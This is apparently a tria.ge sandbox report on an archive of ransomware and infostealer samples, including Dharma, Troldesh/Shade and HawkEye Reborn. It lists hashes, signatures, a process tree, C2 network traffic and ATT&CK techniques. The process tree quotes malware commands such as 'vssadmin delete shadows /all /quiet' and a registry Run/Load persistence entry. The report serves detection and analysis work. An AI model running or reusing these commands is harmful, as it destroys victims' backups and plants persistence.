Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

RNSM00320.7z

windows7-x64

10

Resubmissions

17/11/2024, 21:16 UTC

241117-z4gnwstjfp 1

12/11/2024, 18:32 UTC

241112-w6wztaxmbv 10

Analysis

  • max time kernel
    86s
  • max time network
    85s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    12/11/2024, 18:32 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    RNSM00320.7z

  • Size

    1.6MB

  • MD5

    39ff9a6a7b15b4bda77edcb789ae5f8a

  • SHA1

    668e58768e9676bcb9945fee78699487b8308cea

  • SHA256

    2737cf080df29967878d0f4161291dce55c2fc40d79f9c42ac51ae31bf624b07

  • SHA512

    5be455c739e1018c9443f122fec602ba447c269c1d97f630f49bbe076f84dc8d32b9d1256b4016e08bca9af5c7de244c6237985564e6c803051e4f9cafde9476

  • SSDEEP

    24576:R8OMBf51//LOZFku7d/t8s+5hyVWaaH6pdSEYzUiSomNdhII5Q:eOMR5Z/KvkuNdG3/WdSEMUMKqMQ

Score
10/10
dharmahawkeye_rebornm00nd3v_loggertroldeshcredential_accessdefense_evasiondiscoveryexecutionimpactinfostealerkeyloggerpersistenceransomwarespywarestealertrojanupx

Malware Config

Extracted

Family

hawkeye_reborn

Attributes
  • fields

  • name

Signatures

  • Dharma

    Dharma is a ransomware that uses security software installation to hide malicious activities.

    ransomwaredharma
  • Dharma family
    dharma
  • HawkEye Reborn

    HawkEye Reborn is an enhanced version of the HawkEye malware kit.

    keyloggertrojanstealerspywarehawkeye_reborn
  • Hawkeye_reborn family
    hawkeye_reborn
  • M00nd3v_Logger

    M00nd3v Logger is a .NET stealer/logger targeting passwords from browsers and email clients.

    stealerspywarem00nd3v_logger
  • M00nd3v_logger family
    m00nd3v_logger
  • Troldesh family
    troldesh
  • Troldesh, Shade, Encoder.858

    Troldesh is a ransomware spread by malspam.

    ransomwaretrojantroldesh
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • M00nD3v Logger payload 5 IoCs

    Detects M00nD3v Logger payload in memory.

    infostealer
  • Renames multiple (102) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Renames multiple (311) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
    persistence
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Drops startup file 5 IoCs
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops desktop.ini file(s) 64 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

    When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • NSIS installer 2 IoCs
    installer
  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Internet Explorer settings 1 TTPs 41 IoCs
    adwarespyware
  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00320.7z"
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1964
  • C:\Users\Admin\Desktop\00320\HEUR-Trojan-Ransom.MSIL.Agent.gen-711b3409eebf7438827e3c2bcfbbd2b3e2c607e6327d7159ca8efaef6fdeae0e.exe
    "C:\Users\Admin\Desktop\00320\HEUR-Trojan-Ransom.MSIL.Agent.gen-711b3409eebf7438827e3c2bcfbbd2b3e2c607e6327d7159ca8efaef6fdeae0e.exe"
    1⤵
    • Executes dropped EXE
    • Sets desktop wallpaper using registry
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2412
  • C:\Users\Admin\Desktop\00320\Trojan-Ransom.Win32.Blocker.dvjn-31cdbc1a2bc6fe4a2bdb1d889c6fa5952cb47e566d8cb5c09602887c3cb1aa6f.exe
    "C:\Users\Admin\Desktop\00320\Trojan-Ransom.Win32.Blocker.dvjn-31cdbc1a2bc6fe4a2bdb1d889c6fa5952cb47e566d8cb5c09602887c3cb1aa6f.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2944
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe"
      2⤵
      • Subvert Trust Controls: Mark-of-the-Web Bypass
      • System Location Discovery: System Language Discovery
      • NTFS ADS
      • Suspicious use of WriteProcessMemory
      PID:2152
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\FolderN\Chikdjd.exe.lnk" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1160
    • C:\Users\Admin\AppData\Local\Temp\svhost.exe
      "C:\Users\Admin\AppData\Local\Temp\svhost.exe"
      2⤵
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1868
  • C:\Users\Admin\Desktop\00320\Trojan-Ransom.Win32.Crusis.to-453dfb5846033893d35b3f6f52b8e6f183513f84c877ba9d09bdc57239487dd1.exe
    "C:\Users\Admin\Desktop\00320\Trojan-Ransom.Win32.Crusis.to-453dfb5846033893d35b3f6f52b8e6f183513f84c877ba9d09bdc57239487dd1.exe"
    1⤵
    • Drops startup file
    • Executes dropped EXE
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: RenamesItself
    • Suspicious use of WriteProcessMemory
    PID:572
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1892
      • C:\Windows\system32\mode.com
        mode con cp select=1251
        3⤵
          PID:948
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:2144
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:6000
        • C:\Windows\system32\mode.com
          mode con cp select=1251
          3⤵
            PID:2076
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:2876
        • C:\Windows\System32\mshta.exe
          "C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"
          2⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          PID:2776
        • C:\Windows\System32\mshta.exe
          "C:\Windows\System32\mshta.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"
          2⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          PID:5848
      • C:\Users\Admin\Desktop\00320\Trojan-Ransom.Win32.Shade.omi-41f949dbc9c45451dd1bbc9a8f0376dd78f9c2c99313a9b8de5488ec83599c2b.exe
        "C:\Users\Admin\Desktop\00320\Trojan-Ransom.Win32.Shade.omi-41f949dbc9c45451dd1bbc9a8f0376dd78f9c2c99313a9b8de5488ec83599c2b.exe"
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:1616
        • C:\Users\Admin\Desktop\00320\Trojan-Ransom.Win32.Shade.omi-41f949dbc9c45451dd1bbc9a8f0376dd78f9c2c99313a9b8de5488ec83599c2b.exe
          "C:\Users\Admin\Desktop\00320\Trojan-Ransom.Win32.Shade.omi-41f949dbc9c45451dd1bbc9a8f0376dd78f9c2c99313a9b8de5488ec83599c2b.exe"
          2⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:2440
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1764
      • C:\Program Files\Internet Explorer\iexplore.exe
        "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\Desktop\SUA_CHAVE.html
        1⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3352
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3352 CREDAT:275457 /prefetch:2
          2⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:4240
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3352 CREDAT:275469 /prefetch:2
          2⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:5744

      Network

      • flag-us
        DNS
        www.google.fr
        HEUR-Trojan-Ransom.MSIL.Agent.gen-711b3409eebf7438827e3c2bcfbbd2b3e2c607e6327d7159ca8efaef6fdeae0e.exe
        Remote address:
        8.8.8.8:53
        Request
        www.google.fr
        IN A
        Response
        www.google.fr
        IN A
        216.58.212.227
      • flag-gb
        GET
        https://www.google.fr/
        HEUR-Trojan-Ransom.MSIL.Agent.gen-711b3409eebf7438827e3c2bcfbbd2b3e2c607e6327d7159ca8efaef6fdeae0e.exe
        Remote address:
        216.58.212.227:443
        Request
        GET / HTTP/1.1
        Host: www.google.fr
        Connection: Keep-Alive
        Response
        HTTP/1.1 200 OK
        Date: Tue, 12 Nov 2024 18:32:58 GMT
        Expires: -1
        Cache-Control: private, max-age=0
        Content-Type: text/html; charset=ISO-8859-1
        Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-BEzwnewefEWaYd79dpOvTA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp
        Accept-CH: Sec-CH-Prefers-Color-Scheme
        P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
        Server: gws
        X-XSS-Protection: 0
        X-Frame-Options: SAMEORIGIN
        Set-Cookie: AEC=AZ6Zc-UbKV0FAUnXloGOUC1PXgI6Dh1_LwUIeUeQeG8jj3j3Cbe5GlAW0BQ; expires=Sun, 11-May-2025 18:32:58 GMT; path=/; domain=.google.fr; Secure; HttpOnly; SameSite=lax
        Set-Cookie: __Secure-ENID=23.SE=Ww4jWDU-XDc31d_EuAZVDcTM2uo9ulZVsgxkAJEASjWQjyekVhw68-0rk8EjfTgxte9iQzI-UzFI7PSUX0aKn-Y5Pji8zRWZz50b-ALwQOeq6N_9dxDAn0JlrS0sw1oYWWenI_sYTwiFKm229lxV1fHeKFlbAOeTQm5RLgNkHg6i8HHR1aF9z8vVqRz-1cOzreNl9y2-8PTF; expires=Sat, 13-Dec-2025 10:51:16 GMT; path=/; domain=.google.fr; Secure; HttpOnly; SameSite=lax
        Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
        Accept-Ranges: none
        Vary: Accept-Encoding
        Transfer-Encoding: chunked
      • flag-us
        DNS
        4.bp.blogspot.com
        HEUR-Trojan-Ransom.MSIL.Agent.gen-711b3409eebf7438827e3c2bcfbbd2b3e2c607e6327d7159ca8efaef6fdeae0e.exe
        Remote address:
        8.8.8.8:53
        Request
        4.bp.blogspot.com
        IN A
        Response
        4.bp.blogspot.com
        IN CNAME
        photos-ugc.l.googleusercontent.com
        photos-ugc.l.googleusercontent.com
        IN A
        142.250.187.225
      • flag-gb
        GET
        http://4.bp.blogspot.com/-11m8rWaFmWs/WuhochGTK0I/AAAAAAAAFTY/VkbbVhxYZDgW_jlbQ5lPbV8AEhyd4ihgQCK4BGAYYCw/s1600/ranso4.jpg
        HEUR-Trojan-Ransom.MSIL.Agent.gen-711b3409eebf7438827e3c2bcfbbd2b3e2c607e6327d7159ca8efaef6fdeae0e.exe
        Remote address:
        142.250.187.225:80
        Request
        GET /-11m8rWaFmWs/WuhochGTK0I/AAAAAAAAFTY/VkbbVhxYZDgW_jlbQ5lPbV8AEhyd4ihgQCK4BGAYYCw/s1600/ranso4.jpg HTTP/1.1
        Host: 4.bp.blogspot.com
        Connection: Keep-Alive
        Response
        HTTP/1.1 200 OK
        Content-Type: image/jpeg
        Vary: Origin
        Access-Control-Allow-Origin: *
        Timing-Allow-Origin: *
        Access-Control-Expose-Headers: Content-Length
        ETag: "v1537"
        Expires: Wed, 13 Nov 2024 18:32:59 GMT
        Cache-Control: public, max-age=86400, no-transform
        Content-Disposition: inline;filename="ranso4.jpg"
        X-Content-Type-Options: nosniff
        Date: Tue, 12 Nov 2024 18:32:59 GMT
        Server: fife
        Content-Length: 102480
        X-XSS-Protection: 0
      • flag-us
        DNS
        3e24c23r2213122c1cxdsxsd.unaux.com
        IEXPLORE.EXE
        Remote address:
        8.8.8.8:53
        Request
        3e24c23r2213122c1cxdsxsd.unaux.com
        IN A
        Response
        3e24c23r2213122c1cxdsxsd.unaux.com
        IN A
        199.59.243.227
      • flag-us
        GET
        http://3e24c23r2213122c1cxdsxsd.unaux.com/crybrazil/write.php?info=UPNECVIU-Admin%20AA151257B1462D642E7E21FF9C80F83CAF043C3572D5ED59BD283D20641E3C9D
        HEUR-Trojan-Ransom.MSIL.Agent.gen-711b3409eebf7438827e3c2bcfbbd2b3e2c607e6327d7159ca8efaef6fdeae0e.exe
        Remote address:
        199.59.243.227:80
        Request
        GET /crybrazil/write.php?info=UPNECVIU-Admin%20AA151257B1462D642E7E21FF9C80F83CAF043C3572D5ED59BD283D20641E3C9D HTTP/1.1
        Host: 3e24c23r2213122c1cxdsxsd.unaux.com
        Connection: Keep-Alive
        Response
        HTTP/1.1 200 OK
        date: Tue, 12 Nov 2024 18:32:59 GMT
        content-type: text/html; charset=utf-8
        content-length: 1358
        x-request-id: 279488ed-5338-413d-b1f2-83fa84e1ca30
        cache-control: no-store, max-age=0
        accept-ch: sec-ch-prefers-color-scheme
        critical-ch: sec-ch-prefers-color-scheme
        vary: sec-ch-prefers-color-scheme
        x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_b4hiFge79AP81tugMhbFnR+dnXo3E8WvShPVJeTqQ32rbfxcxrwMoZ6NR5dpZofcm4fVeuo4kwe1VngwXZbbDQ==
        set-cookie: parking_session=279488ed-5338-413d-b1f2-83fa84e1ca30; expires=Tue, 12 Nov 2024 18:48:00 GMT; path=/
      • flag-us
        GET
        http://3e24c23r2213122c1cxdsxsd.unaux.com/
        IEXPLORE.EXE
        Remote address:
        199.59.243.227:80
        Request
        GET / HTTP/1.1
        Accept: text/html, application/xhtml+xml, */*
        Accept-Language: en-US
        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
        Accept-Encoding: gzip, deflate
        Host: 3e24c23r2213122c1cxdsxsd.unaux.com
        Connection: Keep-Alive
        Response
        HTTP/1.1 200 OK
        date: Tue, 12 Nov 2024 18:33:06 GMT
        content-type: text/html; charset=utf-8
        content-length: 1098
        x-request-id: eaf9e8cf-954a-4c12-8d99-7ed9cb3859c9
        cache-control: no-store, max-age=0
        accept-ch: sec-ch-prefers-color-scheme
        critical-ch: sec-ch-prefers-color-scheme
        vary: sec-ch-prefers-color-scheme
        x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_IDflZlo/tKTDLQMDAQWtJxKzZSt0NWoM/eY1rCnK136gVjzCpdxB/NLb9pP1vBbAKI7PpPZeAIShdaNdGWXAbw==
        set-cookie: parking_session=eaf9e8cf-954a-4c12-8d99-7ed9cb3859c9; expires=Tue, 12 Nov 2024 18:48:07 GMT; path=/
      • flag-us
        GET
        http://3e24c23r2213122c1cxdsxsd.unaux.com/bekicMMGF.js
        IEXPLORE.EXE
        Remote address:
        199.59.243.227:80
        Request
        GET /bekicMMGF.js HTTP/1.1
        Accept: application/javascript, */*;q=0.8
        Referer: http://3e24c23r2213122c1cxdsxsd.unaux.com/
        Accept-Language: en-US
        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
        Accept-Encoding: gzip, deflate
        Host: 3e24c23r2213122c1cxdsxsd.unaux.com
        Connection: Keep-Alive
        Cookie: parking_session=eaf9e8cf-954a-4c12-8d99-7ed9cb3859c9
        Response
        HTTP/1.1 200 OK
        date: Tue, 12 Nov 2024 18:33:07 GMT
        content-type: application/javascript; charset=utf-8
        content-length: 34847
        x-request-id: b7172625-bb83-4d98-945e-7825b000af7c
        set-cookie: parking_session=eaf9e8cf-954a-4c12-8d99-7ed9cb3859c9; expires=Tue, 12 Nov 2024 18:48:08 GMT
      • flag-us
        DNS
        bot.whatismyipaddress.com
        svhost.exe
        Remote address:
        8.8.8.8:53
        Request
        bot.whatismyipaddress.com
        IN A
        Response
      • flag-us
        DNS
        IEXPLORE.EXE
        Remote address:
        199.59.243.227:80
        Response
        HTTP/1.1 408 Request Time-out
        Content-length: 110
        Cache-Control: no-cache
        Connection: close
        Content-Type: text/html
      • flag-us
        GET
        http://3e24c23r2213122c1cxdsxsd.unaux.com/
        IEXPLORE.EXE
        Remote address:
        199.59.243.227:80
        Request
        GET / HTTP/1.1
        Accept: text/html, application/xhtml+xml, */*
        Accept-Language: en-US
        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
        Accept-Encoding: gzip, deflate
        Host: 3e24c23r2213122c1cxdsxsd.unaux.com
        Connection: Keep-Alive
        Cookie: parking_session=eaf9e8cf-954a-4c12-8d99-7ed9cb3859c9
        Response
        HTTP/1.1 200 OK
        date: Tue, 12 Nov 2024 18:33:25 GMT
        content-type: text/html; charset=utf-8
        content-length: 1098
        x-request-id: 078fc32f-3ae1-4426-8cc6-42b9cecceb31
        cache-control: no-store, max-age=0
        accept-ch: sec-ch-prefers-color-scheme
        critical-ch: sec-ch-prefers-color-scheme
        vary: sec-ch-prefers-color-scheme
        x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_IDflZlo/tKTDLQMDAQWtJxKzZSt0NWoM/eY1rCnK136gVjzCpdxB/NLb9pP1vBbAKI7PpPZeAIShdaNdGWXAbw==
        set-cookie: parking_session=eaf9e8cf-954a-4c12-8d99-7ed9cb3859c9; expires=Tue, 12 Nov 2024 18:48:26 GMT
      • flag-us
        GET
        http://3e24c23r2213122c1cxdsxsd.unaux.com/bqMkpxhui.js
        IEXPLORE.EXE
        Remote address:
        199.59.243.227:80
        Request
        GET /bqMkpxhui.js HTTP/1.1
        Accept: application/javascript, */*;q=0.8
        Referer: http://3e24c23r2213122c1cxdsxsd.unaux.com/
        Accept-Language: en-US
        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
        Accept-Encoding: gzip, deflate
        Host: 3e24c23r2213122c1cxdsxsd.unaux.com
        Connection: Keep-Alive
        Cookie: parking_session=eaf9e8cf-954a-4c12-8d99-7ed9cb3859c9
        Response
        HTTP/1.1 200 OK
        date: Tue, 12 Nov 2024 18:33:25 GMT
        content-type: application/javascript; charset=utf-8
        content-length: 34847
        x-request-id: 40867ece-2bb1-4555-95cb-6572f335f746
        set-cookie: parking_session=eaf9e8cf-954a-4c12-8d99-7ed9cb3859c9; expires=Tue, 12 Nov 2024 18:48:26 GMT
      • flag-us
        DNS
        api.bing.com
        iexplore.exe
        Remote address:
        8.8.8.8:53
        Request
        api.bing.com
        IN A
        Response
        api.bing.com
        IN CNAME
        api-bing-com.e-0001.e-msedge.net
        api-bing-com.e-0001.e-msedge.net
        IN CNAME
        e-0001.e-msedge.net
        e-0001.e-msedge.net
        IN A
        13.107.5.80
      • flag-us
        DNS
        www.microsoft.com
        iexplore.exe
        Remote address:
        8.8.8.8:53
        Request
        www.microsoft.com
        IN A
        Response
        www.microsoft.com
        IN CNAME
        www.microsoft.com-c-3.edgekey.net
        www.microsoft.com-c-3.edgekey.net
        IN CNAME
        www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
        www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
        IN CNAME
        e13678.dscb.akamaiedge.net
        e13678.dscb.akamaiedge.net
        IN A
        2.22.45.146
      • flag-us
        DNS
        www.microsoft.com
        iexplore.exe
        Remote address:
        8.8.8.8:53
        Request
        www.microsoft.com
        IN A
        Response
        www.microsoft.com
        IN CNAME
        www.microsoft.com-c-3.edgekey.net
        www.microsoft.com-c-3.edgekey.net
        IN CNAME
        www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
        www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
        IN CNAME
        e13678.dscb.akamaiedge.net
        e13678.dscb.akamaiedge.net
        IN A
        2.22.45.146
      • 216.58.212.227:443
        https://www.google.fr/
        tls, http
        HEUR-Trojan-Ransom.MSIL.Agent.gen-711b3409eebf7438827e3c2bcfbbd2b3e2c607e6327d7159ca8efaef6fdeae0e.exe
        1.9kB
         64.2kB
         33
        51

        HTTP Request

        GET https://www.google.fr/

        HTTP Response

        200
      • 142.250.187.225:80
        http://4.bp.blogspot.com/-11m8rWaFmWs/WuhochGTK0I/AAAAAAAAFTY/VkbbVhxYZDgW_jlbQ5lPbV8AEhyd4ihgQCK4BGAYYCw/s1600/ranso4.jpg
        http
        HEUR-Trojan-Ransom.MSIL.Agent.gen-711b3409eebf7438827e3c2bcfbbd2b3e2c607e6327d7159ca8efaef6fdeae0e.exe
        2.1kB
         106.1kB
         42
        78

        HTTP Request

        GET http://4.bp.blogspot.com/-11m8rWaFmWs/WuhochGTK0I/AAAAAAAAFTY/VkbbVhxYZDgW_jlbQ5lPbV8AEhyd4ihgQCK4BGAYYCw/s1600/ranso4.jpg

        HTTP Response

        200
      • 199.59.243.227:80
        http://3e24c23r2213122c1cxdsxsd.unaux.com/crybrazil/write.php?info=UPNECVIU-Admin%20AA151257B1462D642E7E21FF9C80F83CAF043C3572D5ED59BD283D20641E3C9D
        http
        HEUR-Trojan-Ransom.MSIL.Agent.gen-711b3409eebf7438827e3c2bcfbbd2b3e2c607e6327d7159ca8efaef6fdeae0e.exe
        472 B
         3.1kB
         6
        5

        HTTP Request

        GET http://3e24c23r2213122c1cxdsxsd.unaux.com/crybrazil/write.php?info=UPNECVIU-Admin%20AA151257B1462D642E7E21FF9C80F83CAF043C3572D5ED59BD283D20641E3C9D

        HTTP Response

        200
      • 76.73.17.194:9090
        Trojan-Ransom.Win32.Shade.omi-41f949dbc9c45451dd1bbc9a8f0376dd78f9c2c99313a9b8de5488ec83599c2b.exe
        152 B
         3
      • 199.59.243.227:80
        http://3e24c23r2213122c1cxdsxsd.unaux.com/
        http
        IEXPLORE.EXE
        701 B
         3.9kB
         9
        8

        HTTP Request

        GET http://3e24c23r2213122c1cxdsxsd.unaux.com/

        HTTP Response

        200
      • 199.59.243.227:80
        http://3e24c23r2213122c1cxdsxsd.unaux.com/bekicMMGF.js
        http
        IEXPLORE.EXE
        1.5kB
         36.5kB
         24
        34

        HTTP Request

        GET http://3e24c23r2213122c1cxdsxsd.unaux.com/bekicMMGF.js

        HTTP Response

        200
      • 127.0.0.1:59960
        Trojan-Ransom.Win32.Shade.omi-41f949dbc9c45451dd1bbc9a8f0376dd78f9c2c99313a9b8de5488ec83599c2b.exe
      • 193.23.244.244:443
        www.sgs5zc.com
        tls
        Trojan-Ransom.Win32.Shade.omi-41f949dbc9c45451dd1bbc9a8f0376dd78f9c2c99313a9b8de5488ec83599c2b.exe
        3.0kB
         5.6kB
         11
        9
      • 199.59.243.227:80
        3e24c23r2213122c1cxdsxsd.unaux.com
        http
        IEXPLORE.EXE
        190 B
         405 B
         4
        4

        HTTP Response

        408
      • 199.59.243.227:80
        http://3e24c23r2213122c1cxdsxsd.unaux.com/bqMkpxhui.js
        http
        IEXPLORE.EXE
        1.7kB
         38.3kB
         21
        34

        HTTP Request

        GET http://3e24c23r2213122c1cxdsxsd.unaux.com/

        HTTP Response

        200

        HTTP Request

        GET http://3e24c23r2213122c1cxdsxsd.unaux.com/bqMkpxhui.js

        HTTP Response

        200
      • 204.79.197.200:443
        ieonline.microsoft.com
        tls
        iexplore.exe
        747 B
         7.8kB
         9
        12
      • 204.79.197.200:443
        ieonline.microsoft.com
        tls
        iexplore.exe
        747 B
         7.8kB
         9
        12
      • 204.79.197.200:443
        ieonline.microsoft.com
        tls
        iexplore.exe
        779 B
         7.8kB
         9
        12
      • 8.8.8.8:53
        www.google.fr
        dns
        HEUR-Trojan-Ransom.MSIL.Agent.gen-711b3409eebf7438827e3c2bcfbbd2b3e2c607e6327d7159ca8efaef6fdeae0e.exe
        59 B
         75 B
         1
        1

        DNS Request

        www.google.fr

        DNS Response

        216.58.212.227

      • 8.8.8.8:53
        4.bp.blogspot.com
        dns
        HEUR-Trojan-Ransom.MSIL.Agent.gen-711b3409eebf7438827e3c2bcfbbd2b3e2c607e6327d7159ca8efaef6fdeae0e.exe
        63 B
         124 B
         1
        1

        DNS Request

        4.bp.blogspot.com

        DNS Response

        142.250.187.225

      • 8.8.8.8:53
        3e24c23r2213122c1cxdsxsd.unaux.com
        dns
        IEXPLORE.EXE
        80 B
         96 B
         1
        1

        DNS Request

        3e24c23r2213122c1cxdsxsd.unaux.com

        DNS Response

        199.59.243.227

      • 8.8.8.8:53
        bot.whatismyipaddress.com
        dns
        svhost.exe
        71 B
         130 B
         1
        1

        DNS Request

        bot.whatismyipaddress.com

      • 8.8.8.8:53
        api.bing.com
        dns
        iexplore.exe
        58 B
         134 B
         1
        1

        DNS Request

        api.bing.com

        DNS Response

        13.107.5.80

      • 8.8.8.8:53
        www.microsoft.com
        dns
        iexplore.exe
        63 B
         230 B
         1
        1

        DNS Request

        www.microsoft.com

        DNS Response

        2.22.45.146

      • 8.8.8.8:53
        www.microsoft.com
        dns
        iexplore.exe
        63 B
         230 B
         1
        1

        DNS Request

        www.microsoft.com

        DNS Response

        2.22.45.146

      MITRE ATT&CK Enterprise v15

      Reconnaissance

      Resource Development

      Initial Access

      Execution

      Windows Management Instrumentation

      1
      T1047

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Event Triggered Execution

      1
      T1546

      Image File Execution Options Injection

      1
      T1546.012

      Privilege Escalation

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Event Triggered Execution

      1
      T1546

      Image File Execution Options Injection

      1
      T1546.012

      Defense Evasion

      Direct Volume Access

      1
      T1006

      Indicator Removal

      2
      T1070

      File Deletion

      2
      T1070.004

      Modify Registry

      3
      T1112

      Subvert Trust Controls

      1
      T1553

